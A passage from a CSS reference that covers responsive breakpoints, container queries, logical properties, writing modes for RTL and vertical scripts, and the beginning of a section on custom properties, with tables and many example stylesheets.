    width: 100%;
    padding: 1rem;
}

.nav {
    display: flex;
    flex-direction: column;
    gap: 0.5rem;
}

.nav-link {
    padding: 0.75rem;
    font-size: 1rem;
}

.grid {
    display: grid;
    grid-template-columns: 1fr;
    gap: 1rem;
}

.hero {
    padding: 2rem 1rem;
}

.hero h1 {
    font-size: 1.75rem;
}

/* Tablet: 768px+ */
@media (min-width: 768px) {
    .container {
        padding: 2rem;
        max-width: 720px;
        margin: 0 auto;
    }
    
    .nav {
        flex-direction: row;
        justify-content: space-between;
    }
    
    .grid {
        grid-template-columns: repeat(2, 1fr);
        gap: 2rem;
    }
    
    .hero {
        padding: 4rem 2rem;
    }
    
    .hero h1 {
        font-size: 2.5rem;
    }
}

/* Desktop: 1024px+ */
@media (min-width: 1024px) {
    .container {
        max-width: 960px;
    }
    
    .grid {
        grid-template-columns: repeat(3, 1fr);
        gap: 3rem;
    }
    
    .hero {
        padding: 6rem 3rem;
    }
    
    .hero h1 {
        font-size: 3.5rem;
    }
}

/* Large Desktop: 1280px+ */
@media (min-width: 1280px) {
    .container {
        max-width: 1200px;
    }
    
    .grid {
        grid-template-columns: repeat(4, 1fr);
    }
}

Example: Desktop-first approach

/* Base styles: Desktop */
.container {
    max-width: 1200px;
    margin: 0 auto;
    padding: 3rem;
}

.nav {
    display: flex;
    justify-content: space-between;
    gap: 2rem;
}

.grid {
    display: grid;
    grid-template-columns: repeat(4, 1fr);
    gap: 3rem;
}

.hero h1 {
    font-size: 3.5rem;
}

/* Tablet: Below 1024px */
@media (max-width: 1023px) {
    .container {
        max-width: 960px;
        padding: 2rem;
    }
    
    .grid {
        grid-template-columns: repeat(3, 1fr);
        gap: 2rem;
    }
    
    .hero h1 {
        font-size: 2.5rem;
    }
}

/* Mobile: Below 768px */
@media (max-width: 767px) {
    .container {
        padding: 1rem;
    }
    
    .nav {
        flex-direction: column;
        gap: 0.5rem;
    }
    
    .grid {
        grid-template-columns: 1fr;
        gap: 1rem;
    }
    
    .hero h1 {
        font-size: 1.75rem;
    }
}

/* Small mobile: Below 480px */
@media (max-width: 479px) {
    .container {
        padding: 0.5rem;
    }
    
    .hero h1 {
        font-size: 1.5rem;
    }
}

Example: Hybrid approach with container queries

/* Global layout: Viewport-based (mobile-first) */
.page-container {
    padding: 1rem;
}

@media (min-width: 768px) {
    .page-container {
        padding: 2rem;
    }
}

@media (min-width: 1024px) {
    .page-container {
        display: grid;
        grid-template-columns: 250px 1fr 300px;
        gap: 2rem;
        max-width: 1400px;
        margin: 0 auto;
    }
}

/* Components: Container-based (intrinsic responsive) */
.card-grid {
    container-type: inline-size;
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(min(300px, 100%), 1fr));
    gap: 1rem;
}

.card {
    /* Adapts to container, not viewport */
}

@container (min-width: 400px) {
    .card {
        display: grid;
        grid-template-columns: 120px 1fr;
    }
}

@container (min-width: 600px) {
    .card {
        grid-template-columns: 180px 1fr;
    }
}

/* Typography: Fluid (no breakpoints needed) */
h1 {
    font-size: clamp(1.75rem, 4vw, 3.5rem);
}

p {
    font-size: clamp(1rem, 0.9rem + 0.5vw, 1.125rem);
}

/* Spacing: Fluid */
.section {
    padding: clamp(2rem, 5vw, 6rem) clamp(1rem, 3vw, 3rem);
}

/* Best of all approaches */
.hybrid-component {
    /* Mobile-first base */
    padding: 1rem;
    
    /* Fluid scaling */
    gap: clamp(0.5rem, 2vw, 2rem);
    
    /* Container query for component */
    container-type: inline-size;
}

@container (min-width: 500px) {
    .hybrid-component {
        display: grid;
        grid-template-columns: 1fr 1fr;
    }
}

/* Viewport query for global layout */
@media (min-width: 1024px) {
    .hybrid-component {
        padding: 2rem;
    }
}

Example: Common responsive breakpoints

/* Standard breakpoint system */

/* Extra small devices (phones) */
/* Default styles, no media query needed */

/* Small devices (large phones, 600px+) */
@media (min-width: 600px) {
    /* ... */
}

/* Medium devices (tablets, 768px+) */
@media (min-width: 768px) {
    /* ... */
}

/* Large devices (desktops, 1024px+) */
@media (min-width: 1024px) {
    /* ... */
}

/* Extra large devices (large desktops, 1280px+) */
@media (min-width: 1280px) {
    /* ... */
}

/* 2K screens (1440px+) */
@media (min-width: 1440px) {
    /* ... */
}

/* 4K screens (2560px+) */
@media (min-width: 2560px) {
    /* ... */
}

/* Tailwind-style breakpoints */
/* sm: 640px, md: 768px, lg: 1024px, xl: 1280px, 2xl: 1536px */

/* Bootstrap-style breakpoints */
/* xs: <576px, sm: 576px, md: 768px, lg: 992px, xl: 1200px, xxl: 1400px */

/* Material Design breakpoints */
/* xs: 0-599px, sm: 600-1023px, md: 1024-1439px, lg: 1440-1919px, xl: 1920px+ */

/* Between breakpoints (range queries) */
@media (min-width: 768px) and (max-width: 1023px) {
    /* Tablet only */
}

/* Level 4 syntax (cleaner) */
@media (768px <= width < 1024px) {
    /* Tablet only */
}

/* Orientation-specific */
@media (min-width: 768px) and (orientation: portrait) {
    /* Tablet portrait */
}

@media (min-width: 768px) and (orientation: landscape) {
    /* Tablet landscape */
}

Responsive Design Best Practices

  • Mobile-first is recommended: progressive enhancement, better performance
  • Use min-width for mobile-first, max-width for desktop-first
  • Combine viewport queries (layout) + container queries (components)
  • Use clamp() for fluid typography and spacing (reduces breakpoints)
  • Standard breakpoints: 640px, 768px, 1024px, 1280px, 1536px
  • Test on real devices, not just browser DevTools
  • Use srcset and <picture> for responsive images
  • Respect prefers-reduced-motion and accessibility preferences
  • Touch devices: (hover: none) and (pointer: coarse)
  • Use 100dvh instead of 100vh for mobile full-height

13. CSS Logical Properties and Writing Modes

13.1 Logical vs Physical Properties

Physical Property Logical Equivalent Description Writing Mode Impact
width inline-size Dimension along inline axis Width in LTR/RTL, height in vertical
height block-size Dimension along block axis Height in LTR/RTL, width in vertical
min-width min-inline-size Minimum inline dimension Adapts to writing mode
max-width max-inline-size Maximum inline dimension Adapts to writing mode
min-height min-block-size Minimum block dimension Adapts to writing mode
max-height max-block-size Maximum block dimension Adapts to writing mode
margin-top margin-block-start Block start margin Top in LTR, right in vertical-rl
margin-bottom margin-block-end Block end margin Bottom in LTR, left in vertical-rl
margin-left margin-inline-start Inline start margin Left in LTR, right in RTL
margin-right margin-inline-end Inline end margin Right in LTR, left in RTL
padding-top padding-block-start Block start padding Writing mode aware
padding-bottom padding-block-end Block end padding Writing mode aware
padding-left padding-inline-start Inline start padding Writing mode aware
padding-right padding-inline-end Inline end padding Writing mode aware
border-top border-block-start Block start border Writing mode aware
border-bottom border-block-end Block end border Writing mode aware
border-left border-inline-start Inline start border Writing mode aware
border-right border-inline-end Inline end border Writing mode aware
top inset-block-start Block start position offset Writing mode aware positioning
bottom inset-block-end Block end position offset Writing mode aware positioning
left inset-inline-start Inline start position offset Writing mode aware positioning
right inset-inline-end Inline end position offset Writing mode aware positioning

Example: Physical vs logical properties comparison

/* Physical properties (fixed to screen directions) */
.physical {
    width: 300px;
    height: 200px;
    margin-top: 20px;
    margin-right: 10px;
    margin-bottom: 20px;
    margin-left: 10px;
    padding-left: 15px;
    border-right: 2px solid blue;
}

/* Logical properties (adapt to writing mode) */
.logical {
    inline-size: 300px;           /* Width in horizontal, height in vertical */
    block-size: 200px;            /* Height in horizontal, width in vertical */
    margin-block-start: 20px;     /* Top in horizontal */
    margin-inline-end: 10px;      /* Right in LTR, left in RTL */
    margin-block-end: 20px;       /* Bottom in horizontal */
    margin-inline-start: 10px;    /* Left in LTR, right in RTL */
    padding-inline-start: 15px;   /* Left padding in LTR */
    border-inline-end: 2px solid blue;  /* Right border in LTR */
}

/* Shorthand logical properties */
.logical-shorthand {
    margin-block: 20px;           /* margin-block-start and margin-block-end */
    margin-inline: 10px;          /* margin-inline-start and margin-inline-end */
    padding-block: 15px 10px;     /* start end */
    padding-inline: 20px 15px;    /* start end */
    border-block: 2px solid red;  /* Both block borders */
    border-inline: 1px solid blue; /* Both inline borders */
}

/* Benefits: Works automatically with RTL/vertical */
[dir="rtl"] .logical {
    /* No changes needed! margin-inline-start automatically becomes right */
}

.vertical {
    writing-mode: vertical-rl;
    /* Logical properties automatically adapt */
}

Example: Migration from physical to logical

/* Old: Physical properties */
.card-old {
    width: 100%;
    max-width: 600px;
    margin-left: auto;
    margin-right: auto;
    padding-left: 20px;
    padding-right: 20px;
    border-left: 4px solid blue;
    text-align: left;
}

/* New: Logical properties */
.card-new {
    inline-size: 100%;
    max-inline-size: 600px;
    margin-inline: auto;           /* Centers in both LTR and RTL */
    padding-inline: 20px;          /* Horizontal padding */
    border-inline-start: 4px solid blue;  /* Left in LTR, right in RTL */
    text-align: start;             /* Left in LTR, right in RTL */
}

/* Positioning with logical properties */
.positioned-old {
    position: absolute;
    top: 0;
    right: 0;
}

.positioned-new {
    position: absolute;
    inset-block-start: 0;          /* Top */
    inset-inline-end: 0;           /* Right in LTR, left in RTL */
}

/* Shorthand inset */
.overlay {
    position: fixed;
    inset: 0;  /* All four sides (works with any writing mode) */
}

/* Specific inset values */
.positioned-complex {
    inset-block: 20px 10px;        /* top bottom */
    inset-inline: 30px 15px;       /* left right (in LTR) */
}
Note: Logical properties are essential for internationalization. They automatically adapt to different writing modes and text directions. Use logical properties by default for new projects. Browser support: all modern browsers (Chrome 87+, Firefox 66+, Safari 12.1+).

13.2 Block and Inline Directions

Axis Description Horizontal LTR/RTL Vertical RL/LR
Block Axis Direction that blocks stack (paragraphs, divs) Top to bottom (vertical) Right to left or left to right (horizontal)
Inline Axis Direction text flows within a line Left to right or right to left (horizontal) Top to bottom (vertical)
Block Start Beginning of block axis Top edge Right edge (vertical-rl) or left edge (vertical-lr)
Block End End of block axis Bottom edge Left edge (vertical-rl) or right edge (vertical-lr)
Inline Start Beginning of inline axis Left (LTR) or right (RTL) Top edge
Inline End End of inline axis Right (LTR) or left (RTL) Bottom edge

Example: Understanding block and inline axes

/* Horizontal writing mode (default) */
.horizontal {
    writing-mode: horizontal-tb;
    /* Block axis: top → bottom (paragraphs stack vertically)
       Inline axis: left → right (text flows horizontally) */
}

.horizontal-element {
    margin-block: 20px;      /* Top and bottom margins */
    margin-inline: 10px;     /* Left and right margins (in LTR) */
    padding-block: 15px;     /* Top and bottom padding */
    padding-inline: 20px;    /* Left and right padding (in LTR) */
}

/* Vertical writing mode */
.vertical-rl {
    writing-mode: vertical-rl;
    /* Block axis: right → left (paragraphs stack from right)
       Inline axis: top → bottom (text flows downward) */
}

.vertical-element {
    margin-block: 20px;      /* Right and left margins (stacking direction) */
    margin-inline: 10px;     /* Top and bottom margins (text flow) */
    inline-size: 200px;      /* Height (inline = vertical) */
    block-size: 300px;       /* Width (block = horizontal) */
}

/* RTL (Right-to-Left) */
.rtl {
    direction: rtl;
    /* Block axis: still top → bottom
       Inline axis: right → left (text flows from right) */
}

.rtl-element {
    margin-inline-start: 20px;  /* Right margin in RTL */
    margin-inline-end: 10px;    /* Left margin in RTL */
    text-align: start;          /* Aligns right in RTL */
}

/* Practical example: Sidebar layout */
.sidebar {
    inline-size: 250px;              /* Width (adapts to writing mode) */
    padding-inline-start: 20px;      /* Left padding in LTR */
    border-inline-end: 1px solid #ccc;  /* Right border in LTR */
}

/* This automatically works in RTL */
[dir="rtl"] .sidebar {
    /* No changes needed! Properties flip automatically */
    /* padding-inline-start becomes right padding */
    /* border-inline-end becomes left border */
}

Example: Flexbox and Grid with logical properties

/* Flexbox with logical directions */
.flex-container {
    display: flex;
    flex-direction: row;           /* Inline direction */
    gap: 1rem;
    padding-inline: 2rem;          /* Horizontal padding */
    padding-block: 1rem;           /* Vertical padding */
}

.flex-item {
    margin-inline-end: 1rem;       /* Space after each item */
    padding-block: 0.5rem;
}

/* Grid with logical alignment */
.grid-container {
    display: grid;
    grid-template-columns: repeat(3, 1fr);
    gap: 2rem;
    align-items: start;            /* Block-start alignment */
    justify-items: start;          /* Inline-start alignment */
}

.grid-item {
    inline-size: 100%;
    margin-block-end: 1rem;
}

/* Text alignment with logical values */
.text-content {
    text-align: start;             /* Left in LTR, right in RTL */
    margin-inline: auto;           /* Center horizontally */
    max-inline-size: 65ch;         /* Max width for reading */
}

.text-end {
    text-align: end;               /* Right in LTR, left in RTL */
}

/* Float with logical properties */
.float-start {
    float: inline-start;           /* float: left in LTR, right in RTL */
    margin-inline-end: 1rem;       /* Space after floated element */
    margin-block-end: 0.5rem;
}

.float-end {
    float: inline-end;             /* float: right in LTR, left in RTL */
    margin-inline-start: 1rem;     /* Space before floated element */
}

/* Clear with logical values */
.clear-both {
    clear: both;                   /* Still works */
}

.clear-inline-start {
    clear: inline-start;           /* Clear left in LTR */
}
Note: Block axis = direction elements stack (usually vertical). Inline axis = direction text flows (usually horizontal). In vertical writing modes, these axes rotate. Logical properties use start/end instead of left/right/top/bottom.

13.3 Writing Modes and Text Direction

Property Values Description Use Case
writing-mode horizontal-tb Horizontal top-to-bottom (default) Most Latin scripts
writing-mode vertical-rl Vertical right-to-left Traditional Chinese, Japanese
writing-mode vertical-lr Vertical left-to-right Mongolian, some design layouts
direction ltr Left-to-right text direction English, most European languages
direction rtl Right-to-left text direction Arabic, Hebrew, Persian
text-orientation mixed Default orientation for vertical Mixed characters in vertical text
text-orientation upright All characters upright Keeping Latin text upright in vertical
text-orientation sideways Rotate text 90° clockwise Sideways Latin text in vertical mode
unicode-bidi normal | embed | isolate Control bidirectional text algorithm Mixed LTR/RTL text handling
text-combine-upright none | all | digits Combine characters in vertical text Horizontal numbers in vertical Japanese

Example: Writing modes for different scripts

/* Horizontal (default - Latin scripts) */
.horizontal {
    writing-mode: horizontal-tb;
    direction: ltr;
}

/* Horizontal RTL (Arabic, Hebrew) */
.rtl {
    writing-mode: horizontal-tb;
    direction: rtl;
}

/* Vertical right-to-left (Traditional Chinese, Japanese) */
.vertical-traditional {
    writing-mode: vertical-rl;
    text-orientation: mixed;  /* Default */
}

/* Vertical left-to-right (Mongolian) */
.vertical-mongolian {
    writing-mode: vertical-lr;
}

/* Mixed content in vertical */
.vertical-mixed {
    writing-mode: vertical-rl;
}

.vertical-mixed .english {
    text-orientation: upright;  /* Keep Latin upright */
}

/* Sideways text */
.vertical-sideways {
    writing-mode: vertical-rl;
    text-orientation: sideways;  /* Rotate 90° */
}

/* Combining characters in vertical text */
.tate-chu-yoko {
    writing-mode: vertical-rl;
}

.tate-chu-yoko .year {
    text-combine-upright: all;  /* 2024 displays horizontally */
}

/* Bidirectional text isolation */
.mixed-direction {
    unicode-bidi: isolate;
}

/* Example: English page with Arabic section */
body {
    direction: ltr;
}

.arabic-section {
    direction: rtl;
    unicode-bidi: isolate;
    text-align: start;  /* Aligns right in RTL context */
}

Example: Practical writing mode layouts

/* Vertical sidebar with horizontal main content */
.page {
    display: flex;
}

.sidebar-vertical {
    writing-mode: vertical-rl;
    inline-size: 3rem;  /* Width becomes height control */
    padding-block: 1rem;
    background: #f0f0f0;
}

.main-content {
    flex: 1;
    padding: 2rem;
}

/* Book-style vertical layout (Japanese) */
.book-page {
    writing-mode: vertical-rl;
    inline-size: 100%;
    block-size: 100vh;
    padding-block: 2rem;
    padding-inline: 3rem;
    column-count: 2;
    column-gap: 3rem;
}

/* Decorative vertical text */
.vertical-label {
    writing-mode: vertical-rl;
    text-orientation: upright;
    font-weight: bold;
    padding-inline: 0.5rem;
    background: linear-gradient(to bottom, blue, purple);
    color: white;
}

/* Mixed RTL and LTR content */
.bilingual-content {
    display: grid;
    grid-template-columns: 1fr 1fr;
    gap: 2rem;
}

.english-column {
    direction: ltr;
    text-align: left;
}

.arabic-column {
    direction: rtl;
    text-align: right;
    font-family: 'Arabic Font', sans-serif;
}

/* Responsive writing mode */
@media (max-width: 768px) {
    .vertical-on-desktop {
        writing-mode: horizontal-tb;  /* Switch to horizontal on mobile */
    }
}

/* Date formatting in vertical text */
.vertical-date {
    writing-mode: vertical-rl;
}

.vertical-date .date-number {
    text-combine-upright: all;  /* "12" displays horizontally */
    font-weight: bold;
}
Warning: direction: rtl should usually be set via HTML dir attribute, not CSS, for better semantics and accessibility. Use unicode-bidi: isolate for embedding opposite-direction text. text-orientation: sideways has limited browser support.

13.4 International Layout Support

Feature Technique Description Example
HTML dir attribute <html dir="rtl"> Set document text direction Better than CSS direction for semantics
Logical properties Use start/end instead of left/right Automatic adaptation to text direction margin-inline-start vs margin-left
CSS :dir() pseudo-class :dir(rtl) or :dir(ltr) Target elements by text direction More semantic than [dir="rtl"]
lang attribute <html lang="ar"> Specify content language CSS can target: :lang(ar)
Font selection Language-specific fonts Different fonts for different scripts Arabic, CJK, Latin fonts
Line breaking word-break, line-break Language-appropriate line breaks Different rules for CJK vs Latin
Text spacing letter-spacing, word-spacing Avoid in Arabic (ligatures) Can break connected scripts
Quotation marks quotes property Language-specific quote characters Different for each language

Example: Multi-language support with logical properties

<!-- HTML structure for multi-language -->
<!-- <html lang="en" dir="ltr"> -->
<!-- <html lang="ar" dir="rtl"> -->

/* Base styles with logical properties */
body {
    margin: 0;
    padding-inline: 2rem;
    padding-block: 1rem;
}

.container {
    max-inline-size: 1200px;
    margin-inline: auto;
}

/* Navigation that works in any direction */
.nav {
    display: flex;
    gap: 1rem;
    padding-inline: 2rem;
}

.nav-link {
    padding-inline: 1rem;
    padding-block: 0.5rem;
    border-inline-start: 3px solid transparent;
}

.nav-link:hover {
    border-inline-start-color: blue;
}

/* Cards with logical spacing */
.card {
    padding-block: 1.5rem;
    padding-inline: 2rem;
    border-inline-start: 4px solid blue;
    margin-block-end: 2rem;
}

.card-title {
    margin-block-end: 0.5rem;
}

/* Sidebar positioning */
.layout {
    display: grid;
    grid-template-columns: 250px 1fr;
    gap: 2rem;
}

/* Automatically flips in RTL */
.sidebar {
    padding-inline-end: 2rem;
    border-inline-end: 1px solid #ccc;
}

/* Text alignment */
.text-content {
    text-align: start;  /* Left in LTR, right in RTL */
}

.text-end-align {
    text-align: end;    /* Right in LTR, left in RTL */
}

/* Form inputs */
.form-field {
    margin-block-end: 1rem;
}

.form-label {
    display: block;
    margin-block-end: 0.25rem;
    text-align: start;
}

.form-input {
    inline-size: 100%;
    padding-block: 0.5rem;
    padding-inline: 0.75rem;
    border: 1px solid #ccc;
    text-align: start;
}

Example: Language-specific styling

/* Using :dir() pseudo-class (modern browsers) */
:dir(ltr) .arrow {
    transform: rotate(0deg);  /* → */
}

:dir(rtl) .arrow {
    transform: rotate(180deg);  /* ← */
}

/* Using :lang() for language-specific styles */
:lang(ar) {
    font-family: 'Arabic Font', sans-serif;
    font-size: 1.1em;  /* Arabic often needs larger size */
    line-height: 1.8;  /* More line height for Arabic */
}

:lang(zh) {
    font-family: 'Noto Sans SC', sans-serif;  /* Simplified Chinese */
    word-break: break-all;  /* CJK line breaking */
}

:lang(ja) {
    font-family: 'Noto Sans JP', sans-serif;
    line-break: strict;  /* Japanese line breaking rules */
}

:lang(en) {
    font-family: -apple-system, BlinkMacSystemFont, sans-serif;
    hyphens: auto;  /* English hyphenation */
}

/* Quotation marks by language */
:lang(en) {
    quotes: '"' '"' ''' ''';  /* "English" 'quotes' */
}

:lang(fr) {
    quotes: \00a0' '\00a0»' '"' '"';  /* « French » "quotes" */
}

:lang(de) {
    quotes: '„' '"' '‚' ''';  /* „German" ‚quotes' */
}

/* Blockquote with auto quotes */
blockquote::before {
    content: open-quote;
}

blockquote::after {
    content: close-quote;
}

/* Font stack for multi-script support */
body {
    font-family: 
        -apple-system,           /* System font (Latin) */
        'Noto Sans Arabic',      /* Arabic */
        'Noto Sans SC',          /* Simplified Chinese */
        'Noto Sans JP',          /* Japanese */
        'Noto Sans KR',          /* Korean */
        sans-serif;
}

/* Avoid letter-spacing in connected scripts */
.text {
    letter-spacing: 0.02em;
}

:lang(ar) .text,
:lang(fa) .text,
:lang(ur) .text {
    letter-spacing: normal;  /* Preserve ligatures */
}

/* Number formatting */
.number {
    font-variant-numeric: tabular-nums;
}

:lang(ar) .number {
    /* Arabic numerals */
    font-feature-settings: 'anum' 1;
}

Example: Complete RTL/LTR adaptive layout

/* Container that works in any direction */
.page-wrapper {
    inline-size: 100%;
    max-inline-size: 1400px;
    margin-inline: auto;
    padding-inline: clamp(1rem, 5vw, 4rem);
    padding-block: 2rem;
}

/* Header with logo and navigation */
.header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding-block: 1rem;
    border-block-end: 1px solid #ccc;
}

.logo {
    margin-inline-end: 2rem;
}

/* Navigation automatically flips */
.nav {
    display: flex;
    gap: 2rem;
}

/* Main layout with sidebar */
.main-layout {
    display: grid;
    grid-template-columns: 250px 1fr;
    gap: 3rem;
    margin-block-start: 2rem;
}

/* Sidebar starts on inline-start (left in LTR, right in RTL) */
.sidebar {
    border-inline-end: 1px solid #ddd;
    padding-inline-end: 2rem;
}

/* Article content */
.article {
    max-inline-size: 65ch;
}

.article h2 {
    margin-block: 2rem 1rem;
    border-inline-start: 4px solid blue;
    padding-inline-start: 1rem;
}

.article p {
    margin-block-end: 1rem;
    text-align: start;
}

/* Image with caption */
.figure {
    margin-block: 2rem;
}

.figure img {
    inline-size: 100%;
    block-size: auto;
}

.caption {
    margin-block-start: 0.5rem;
    padding-inline-start: 1rem;
    border-inline-start: 2px solid #999;
    font-size: 0.9em;
    color: #666;
}

/* Footer */
.footer {
    margin-block-start: 4rem;
    padding-block-start: 2rem;
    border-block-start: 1px solid #ccc;
    text-align: center;
}

/* Responsive */
@media (max-width: 768px) {
    .main-layout {
        grid-template-columns: 1fr;
    }
    
    .sidebar {
        border-inline-end: none;
        border-block-end: 1px solid #ddd;
        padding-inline-end: 0;
        padding-block-end: 2rem;
    }
}
Note: Use dir attribute in HTML: <html dir="rtl">. Combine with lang attribute: <html lang="ar" dir="rtl">. Test with actual native speakers. Use logical properties exclusively for international support.

13.5 Logical Sizing and Spacing

Logical Property Physical Equivalent Shorthand Use Case
inline-size width N/A Element inline dimension
block-size height N/A Element block dimension
min/max-inline-size min/max-width N/A Inline dimension constraints
min/max-block-size min/max-height N/A Block dimension constraints
margin-block-start/end margin-top/bottom margin-block Block axis margins
margin-inline-start/end margin-left/right margin-inline Inline axis margins
padding-block-start/end padding-top/bottom padding-block Block axis padding
padding-inline-start/end padding-left/right padding-inline Inline axis padding
border-block-start/end border-top/bottom border-block Block axis borders
border-inline-start/end border-left/right border-inline Inline axis borders
inset-block-start/end top/bottom inset-block Block axis positioning
inset-inline-start/end left/right inset-inline Inline axis positioning

Example: Logical sizing for responsive components

/* Card with logical sizing */
.card {
    inline-size: 100%;
    max-inline-size: 400px;
    min-block-size: 200px;
    margin-block-end: 2rem;
    padding-block: 1.5rem;
    padding-inline: 2rem;
    border: 1px solid #ddd;
    border-inline-start-width: 4px;
    border-inline-start-color: blue;
}

/* Sidebar with logical dimensions */
.sidebar {
    inline-size: 250px;
    min-block-size: 100vh;
    padding-block: 2rem;
    padding-inline: 1.5rem;
    border-inline-end: 1px solid #ccc;
}

/* Container with logical spacing */
.container {
    inline-size: 100%;
    max-inline-size: 1200px;
    margin-inline: auto;
    padding-inline: clamp(1rem, 5vw, 3rem);
    padding-block: 2rem;
}

/* Grid items with logical spacing */
.grid-item {
    padding-block: 1rem;
    padding-inline: 1.5rem;
    margin-block-end: 1rem;
    border-block-end: 1px solid #eee;
}

/* Button with logical padding */
.button {
    padding-block: 0.75rem;
    padding-inline: 2rem;
    border: none;
    border-radius: 0.25rem;
    min-inline-size: 120px;
}

/* Input fields */
.input {
    inline-size: 100%;
    max-inline-size: 400px;
    padding-block: 0.5rem;
    padding-inline: 1rem;
    border: 1px solid #ccc;
    margin-block-end: 1rem;
}

Example: Logical shorthand properties

/* Margin shorthands */
.element {
    /* Two values: block inline */
    margin-block: 2rem;              /* margin-block-start and end */
    margin-inline: 1rem;             /* margin-inline-start and end */
    
    /* Individual values */
    margin-block: 2rem 1rem;         /* start end */
    margin-inline: 1.5rem 1rem;      /* start end */
}

/* Padding shorthands */
.box {
    padding-block: 1.5rem;           /* Same start and end */
    padding-inline: 2rem;            /* Same start and end */
    
    padding-block: 2rem 1rem;        /* Different start and end */
    padding-inline: 2.5rem 1.5rem;
}

/* Border shorthands */
.bordered {
    /* All border properties */
    border-block: 2px solid blue;    /* Both block borders */
    border-inline: 1px solid gray;   /* Both inline borders */
    
    /* Individual sides */
    border-block-start: 3px solid red;
    border-inline-end: 2px dashed green;
    
    /* Width only */
    border-block-width: 2px;
    border-inline-width: 1px 3px;    /* start end */
    
    /* Color only */
    border-block-color: blue;
    border-inline-color: red green;  /* start end */
    
    /* Style only */
    border-block-style: solid;
    border-inline-style: dashed;
}

/* Inset shorthands (positioning) */
.positioned {
    position: absolute;
    
    /* Two values: block inline */
    inset-block: 0;                  /* top and bottom = 0 */
    inset-inline: 20px;              /* left and right = 20px (in LTR) */
    
    /* Different values */
    inset-block: 10px 20px;          /* start=10px, end=20px */
    inset-inline: 0 auto;            /* start=0, end=auto */
    
    /* All four sides */
    inset: 0;                        /* All sides = 0 */
    inset: 10px 20px;                /* block inline */
    inset: 10px 20px 30px 40px;      /* top right bottom left */
}

/* Border-radius with logical properties */
.rounded {
    /* Logical corner properties */
    border-start-start-radius: 8px;  /* Top-left in LTR */
    border-start-end-radius: 8px;    /* Top-right in LTR */
    border-end-start-radius: 0;      /* Bottom-left in LTR */
    border-end-end-radius: 0;        /* Bottom-right in LTR */
}

/* Scroll padding (logical) */
.scroll-container {
    scroll-padding-block: 2rem;
    scroll-padding-inline: 1rem;
    
    scroll-padding-block-start: 100px;
    scroll-padding-inline-end: 50px;
}

Example: Complete layout with logical properties

/* Page layout system */
.page {
    min-block-size: 100vh;
    display: flex;
    flex-direction: column;
}

/* Header */
.header {
    inline-size: 100%;
    padding-block: 1rem;
    padding-inline: 2rem;
    border-block-end: 1px solid #ddd;
    display: flex;
    justify-content: space-between;
}

.logo {
    inline-size: 150px;
    block-size: 40px;
}

/* Main content area */
.main {
    flex: 1;
    display: grid;
    grid-template-columns: 250px 1fr 300px;
    gap: 2rem;
    padding-inline: 2rem;
    padding-block: 2rem;
}

/* Sidebar start (left in LTR, right in RTL) */
.sidebar-start {
    padding-inline-end: 2rem;
    border-inline-end: 1px solid #eee;
}

.sidebar-start nav {
    position: sticky;
    inset-block-start: 2rem;
}

.sidebar-start a {
    display: block;
    padding-block: 0.5rem;
    padding-inline-start: 1rem;
    margin-block-end: 0.25rem;
    border-inline-start: 3px solid transparent;
}

.sidebar-start a:hover {
    border-inline-start-color: blue;
    background: #f5f5f5;
}

/* Content area */
.content {
    max-inline-size: 800px;
}

.content h1 {
    margin-block-end: 1.5rem;
    padding-block-end: 0.5rem;
    border-block-end: 2px solid #333;
}

.content p {
    margin-block-end: 1rem;
    line-height: 1.6;
}

.content blockquote {
    margin-block: 2rem;
    margin-inline-start: 2rem;
    padding-inline-start: 1.5rem;
    border-inline-start: 4px solid #0066cc;
    font-style: italic;
}

/* Sidebar end (right in LTR, left in RTL) */
.sidebar-end {
    padding-inline-start: 2rem;
    border-inline-start: 1px solid #eee;
}

.widget {
    margin-block-end: 2rem;
    padding-block: 1rem;
    padding-inline: 1.5rem;
    background: #f9f9f9;
    border-inline-start: 3px solid #0066cc;
}

/* Footer */
.footer {
    inline-size: 100%;
    margin-block-start: auto;
    padding-block: 2rem;
    padding-inline: 2rem;
    border-block-start: 1px solid #ddd;
    text-align: center;
}

/* Responsive */
@media (max-width: 1024px) {
    .main {
        grid-template-columns: 1fr;
    }
    
    .sidebar-start,
    .sidebar-end {
        border: none;
        padding: 0;
        margin-block-end: 2rem;
    }
}

Logical Properties Best Practices

  • Use logical properties by default for all new projects
  • Replace physical properties during refactoring for i18n support
  • inline-size = width (horizontal), block-size = height (horizontal)
  • start = left (LTR), right (RTL); end = right (LTR), left (RTL)
  • Use shorthands: margin-block, padding-inline, border-block
  • Set dir in HTML, not CSS: <html dir="rtl">
  • Use text-align: start/end instead of left/right
  • Test with actual RTL languages (Arabic, Hebrew) and vertical writing modes
  • Browser support is excellent: all modern browsers (IE11 requires fallbacks)
  • Combine with container queries for fully adaptive components

14. CSS Custom Properties and Theming

14.1 CSS Variable Declaration and Usage

Syntax Description Example Notes
--variable-name Declare custom property (must start with --) --primary-color: #007acc; Case-sensitive, use kebab-case
var(--name) Use custom property value color: var(--primary-color); Returns value of custom property
var(--name, fallback) Use with fallback value color: var(--color, blue); Uses fallback if variable undefined
:root Global scope (html element) :root { --spacing: 1rem; } Available to entire document
Inheritance Custom properties inherit by default Child elements inherit parent values Can be overridden at any level
Invalid value Invalid values make property invalid margin: var(--invalid); = invalid Falls back to inherited or initial value
Computed value Variables resolve at computed-value time Can use in calc(), color functions More flexible than preprocessor variables

Example: Basic CSS variable declaration and usage

/* Global variables in :root */
:root {
    --primary-color: #007acc;
    --secondary-color: #5c2d91;
    --text-color: #333;
    --bg-color: #fff;
    --spacing-unit: 8px;
    --border-radius: 4px;
    --font-family: -apple-system, BlinkMacSystemFont, sans-serif;
}

/* Using variables */
.button {
    background: var(--primary-color);
    color: var(--bg-color);
    padding: calc(var(--spacing-unit) * 2);
    border-radius: var(--border-radius);
    font-family: var(--font-family);
}

/* With fallback values */
.card {
    background: var(--card-bg, #f9f9f9);
    border: 1px solid var(--card-border, #ddd);
    padding: var(--card-padding, 1rem);
}

/* Variables in calculations */
.container {
    padding: calc(var(--spacing-unit) * 3);
    margin-bottom: calc(var(--spacing-unit) * 4);
    max-width: calc(1200px - var(--spacing-unit) * 4);
}

/* Nested fallbacks */
.element {
    color: var(--text-color, var(--fallback-color, #000));
}

/* Using variables in other variables */
:root {
    --base-size: 16px;
    --small-size: calc(var(--base-size) * 0.875);
    --large-size: calc(var(--base-size) * 1.5);
    
    --primary: #007acc;
    --primary-dark: color-mix(in oklch, var(--primary) 80%, black);
    --primary-light: color-mix(in oklch, var(--primary) 90%, white);
}

Example: Component-scoped variables

